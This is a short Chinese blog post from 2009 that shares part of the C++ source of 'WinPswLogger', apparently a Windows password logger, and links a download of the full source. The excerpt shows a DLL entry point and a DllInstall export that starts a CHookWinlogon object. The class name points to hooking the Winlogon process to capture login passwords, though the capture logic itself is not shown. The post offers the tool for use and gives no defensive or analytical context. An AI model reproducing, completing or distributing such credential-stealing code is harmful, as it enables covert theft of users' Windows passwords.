首页 > 资源共享 > WinPswLogger 源代码

WinPswLogger 源代码

2009年9月28日 发表评论 169 views 阅读评论

作者:LZX
部分源码如下,完整源码见文章末尾:

#include "stdafx.h"
#include
#include "debugoutput.h"
#include "hookWinlogon.h"

//CComModule _Module;
HMODULE g_hIns;

// BEGIN_OBJECT_MAP(ObjectMap)
// END_OBJECT_MAP()

/////////////////////////////////////////////////////////////////////////////
// DLL Entry Point

extern "C"
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
g_hIns = (HMODULE)hInstance;

}
else if (dwReason == DLL_PROCESS_DETACH)
{
}

return TRUE; // ok
}
/*
/////////////////////////////////////////////////////////////////////////////
// Used to determine whether the DLL can be unloaded by OLE

STDAPI DllCanUnloadNow(void)
{
//MessageBox(0, _T("a"), _T("b"), 0);
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// Returns a class factory to create an object of the requested type

STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{

return E_NOINTERFACE;
}

/////////////////////////////////////////////////////////////////////////////
// DllRegisterServer - Adds entries to the system registry

STDAPI DllRegisterServer(void)
{
return S_OK;
}

/////////////////////////////////////////////////////////////////////////////
// DllUnregisterServer - Removes entries from the system registry

STDAPI DllUnregisterServer(void)
{
return S_OK;
}
*/
HRESULT WINAPI DllInstall( BOOL bInstall,
LPCWSTR pszCmdLine
)
{
CHookWinlogon *pIns = new CHookWinlogon;

if (!pIns->Create(pszCmdLine))
return E_UNEXPECTED;

return S_OK;
}

下载:

WinPswLogger_src.rar

相关文章

分类: 资源共享 标签: ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.